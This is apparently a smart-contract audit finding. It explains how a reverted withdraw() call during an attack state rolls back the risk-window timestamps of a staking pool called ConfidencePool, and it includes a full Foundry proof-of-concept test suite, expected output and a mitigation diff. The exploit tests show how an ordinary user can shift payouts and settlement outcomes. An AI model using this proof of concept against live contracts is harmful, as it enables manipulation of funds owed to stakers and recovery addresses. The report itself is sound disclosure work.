Root + Impact
Normal behavior
ConfidencePool lazily records the first observed active-risk and terminal moments in riskWindowStart and riskWindowEnd.
These one-way timestamps determine:
-
whether the pool had an observed active-risk interval;
-
the time-weighted bonus distribution;
-
whether an unmoderated CORRUPTED agreement must enter the bad-faith corrupted fallback after MODERATOR_CORRUPTED_GRACE;
-
whether claimExpired() may instead resolve the pool as EXPIRED.
During UNDER_ATTACK, an ordinary pool interaction or pokeRiskWindow() is intended to seal riskWindowStart. Once that observation exists, a later unmoderated CORRUPTED state is automatically resolved through the corrupted recovery path after the grace period.
Issue
Several public functions call _observePoolState() before performing checks that can revert.
For example, withdraw() first observes the registry state and only afterward checks whether withdrawals are disabled:
function withdraw() external nonReentrant {
_observePoolState();
if (!_withdrawsAllowed()) {
revert WithdrawsDisabled();
}
}
During UNDER_ATTACK, _observePoolState() temporarily seals the active-risk latch:
function _observePoolState() internal {
IAttackRegistry.ContractState currentState =
_getAgreementState();
if (
riskWindowStart == 0
&& _isActiveRiskState(currentState)
) {
riskWindowStart = block.timestamp;
}
}
The later WithdrawsDisabled() revert rolls back the entire transaction, including the newly written riskWindowStart.
Consequently, the pool retains:
even though an ordinary pool call reached _observePoolState() while the agreement was UNDER_ATTACK.
Settlement later treats this zero value as proof that no active-risk interval was observed.
The strongest consequence occurs when the agreement later becomes CORRUPTED and the moderator does not act. After the 180-day grace period, claimExpired() uses the missing risk latch and resolves the pool as EXPIRED instead of entering the bad-faith CORRUPTED fallback.
This refunds staker principal that the correctly sealed control path sends to recoveryAddress.
The same root cause also affects bonus settlement:
-
correctly sealed active risk pays stake plus the time-weighted bonus;
-
a reverted first observer leaves riskWindowStart == 0;
-
the staker receives principal only;
-
the entire bonus becomes sweepable to recoveryAddress.
A reverted first terminal observer can likewise roll back riskWindowEnd, allowing a later interaction to seal a later effective terminal time and alter relative bonus shares.
Risk
Likelihood: Medium
-
The trigger is an ordinary public withdraw() call from a regular user.
-
No owner, sponsor, moderator, recovery-address or registry privilege is required.
-
The transaction deterministically reaches _observePoolState() and then reverts with the protocol's expected WithdrawsDisabled() error during UNDER_ATTACK.
-
The trigger costs only gas and does not require an unsupported token or direct storage manipulation.
-
The incorrect corrupted fallback occurs when no later successful interaction seals riskWindowStart before the registry becomes terminal.
-
Moderator inactivity is already handled by the protocol through MODERATOR_CORRUPTED_GRACE; the vulnerability changes the fallback outcome after that documented period.
Impact: Medium
-
A genuinely corrupted pool can resolve as EXPIRED.
-
Staker principal is returned instead of entering the bad-faith corrupted recovery path.
-
In the PoC, the vulnerable path returns 100e18 principal to Alice and sends only the 50e18 bonus to recovery.
-
Under identical conditions with a successful active-risk seal, the pool resolves CORRUPTED and sends the complete 150e18 balance to recoveryAddress.
-
In survived settlement, the same missing latch excludes the entire 50e18 bonus from the staker payout.
-
The affected amount scales with the pool's principal and bonus balances.
Proof of Concept
Create:
test/audit/RiskWindowObserverRollbackExploit.t.sol
with the following contents:
pragma solidity 0.8.26;
import {
IAttackRegistry
} from "@battlechain/interface/IAttackRegistry.sol";
import {
IConfidencePool
} from "src/interfaces/IConfidencePool.sol";
import {
PoolStates
} from "src/libraries/PoolStates.sol";
import {
BaseConfidencePoolTest
} from "test/helpers/BaseConfidencePoolTest.sol";
contract RiskWindowObserverRollbackExploitTest
is BaseConfidencePoolTest
{
function testExploit_revertedWithdrawInUnderAttackZeroesBonusAndSweepsItToRecovery()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
vm.prank(alice);
vm.expectRevert(
IConfidencePool.WithdrawsDisabled.selector
);
pool.withdraw();
assertEq(
pool.riskWindowStart(),
0,
"active-risk observation was rolled back"
);
vm.warp(vm.getBlockTimestamp() + 5 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
uint256 aliceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(
token.balanceOf(alice) - aliceBefore,
100 * ONE,
"bonus was excluded from the survived payout"
);
uint256 recoveryBefore =
token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(recovery) - recoveryBefore,
50 * ONE,
"the entire bonus was swept to recovery"
);
}
function testControl_successfulPokeInSameRiskWindowPaysFullBonusToStaker()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
vm.warp(vm.getBlockTimestamp() + 5 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
uint256 aliceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(
token.balanceOf(alice) - aliceBefore,
150 * ONE,
"control pays stake plus the full bonus"
);
vm.expectRevert(
IConfidencePool.NothingToSweep.selector
);
pool.sweepUnclaimedBonus();
}
function testExploit_revertedActiveRiskObserverLetsCorruptedPoolFallThroughToExpired()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
vm.prank(alice);
vm.expectRevert(
IConfidencePool.WithdrawsDisabled.selector
);
pool.withdraw();
assertEq(
pool.riskWindowStart(),
0,
"revert erased the active-risk latch"
);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
vm.warp(
pool.expiry()
+ pool.MODERATOR_CORRUPTED_GRACE()
);
uint256 aliceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED),
"corrupted pool incorrectly resolved expired"
);
assertEq(
token.balanceOf(alice) - aliceBefore,
100 * ONE,
"staker recovered principal from corrupted pool"
);
uint256 recoveryBefore =
token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(recovery) - recoveryBefore,
50 * ONE,
"recovery received only bonus, not principal"
);
}
function testControl_successfulActiveRiskSealTriggersAutoCorruptedBackstop()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
vm.warp(
pool.expiry()
+ pool.MODERATOR_CORRUPTED_GRACE()
);
vm.prank(alice);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED),
"control must resolve corrupted"
);
uint256 recoveryBefore =
token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(
token.balanceOf(recovery) - recoveryBefore,
150 * ONE,
"control routes the full pool balance to recovery"
);
}
function testExploit_revertedFirstTerminalObserverLetsLateStakerShiftTToExpiry()
external
{
(
uint256 aliceExploit,
uint256 bobExploit
) = _runDelayedTerminalObservationScenario(true);
(
uint256 aliceControl,
uint256 bobControl
) = _runDelayedTerminalObservationScenario(false);
assertGt(
bobExploit,
bobControl,
"late staker improves payout after delayed terminal seal"
);
assertLt(
aliceExploit,
aliceControl,
"early staker is diluted"
);
}
function _runDelayedTerminalObservationScenario(
bool exploit
)
internal
returns (
uint256 alicePayout,
uint256 bobPayout
)
{
setUp();
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
vm.warp(vm.getBlockTimestamp() + 1 days);
_stake(bob, 100 * ONE);
vm.warp(vm.getBlockTimestamp() + 1 days);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
if (exploit) {
vm.prank(bob);
vm.expectRevert(
IConfidencePool.WithdrawsDisabled.selector
);
pool.withdraw();
assertEq(
pool.riskWindowEnd(),
0,
"terminal observation was rolled back"
);
} else {
pool.pokeRiskWindow();
assertGt(
pool.riskWindowEnd(),
0,
"control permanently seals terminal time"
);
}
vm.warp(pool.expiry());
uint256 bobBefore =
token.balanceOf(bob);
vm.prank(bob);
pool.claimExpired();
bobPayout =
token.balanceOf(bob) - bobBefore;
uint256 aliceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
alicePayout =
token.balanceOf(alice) - aliceBefore;
}
}
Run:
forge test \
--match-path test/audit/RiskWindowObserverRollbackExploit.t.sol \
-vvv
Expected result:
Ran 5 tests for
test/audit/RiskWindowObserverRollbackExploit.t.sol:
RiskWindowObserverRollbackExploitTest
[PASS]
testControl_successfulActiveRiskSealTriggersAutoCorruptedBackstop()
[PASS]
testControl_successfulPokeInSameRiskWindowPaysFullBonusToStaker()
[PASS]
testExploit_revertedActiveRiskObserverLetsCorruptedPoolFallThroughToExpired()
[PASS]
testExploit_revertedFirstTerminalObserverLetsLateStakerShiftTToExpiry()
[PASS]
testExploit_revertedWithdrawInUnderAttackZeroesBonusAndSweepsItToRecovery()
Suite result: ok. 5 passed; 0 failed; 0 skipped
The corrupted exploit and control use identical:
The only difference is whether the first active-risk observation is persistently sealed or occurs inside a call that later reverts.
That difference changes the final outcome from:
CORRUPTED:
150e18 sent to recoveryAddress
to:
EXPIRED:
100e18 principal returned to the staker
50e18 bonus left for recoveryAddress
Recommended Mitigation
Do not rely on a one-way lifecycle observation written inside a public call that can be expected to revert afterward.
At minimum, move revert-prone state and authorization checks before _observePoolState() where those calls should not count as successful observers:
function withdraw() external nonReentrant {
- _observePoolState();
if (!_withdrawsAllowed()) {
revert WithdrawsDisabled();
}
+ _observePoolState();
// withdrawal logic
}
Apply the same ordering review to every public function that invokes _observePoolState() and may revert afterward.
More robustly, settlement should not interpret riskWindowStart == 0 as definitive proof that no active-risk lifecycle occurred when this value depends only on opportunistic local observations.
A safer architecture would either:
-
use a dedicated non-reverting observation call;
-
derive the relevant lifecycle timestamps from an authoritative registry source;
-
or prevent the no-observed-risk and EXPIRED branches from overriding a currently CORRUPTED registry state solely because the local latch is zero.
For the corrupted fallback specifically, a live terminal CORRUPTED state should not resolve as EXPIRED merely because a local observation timestamp was never successfully persisted.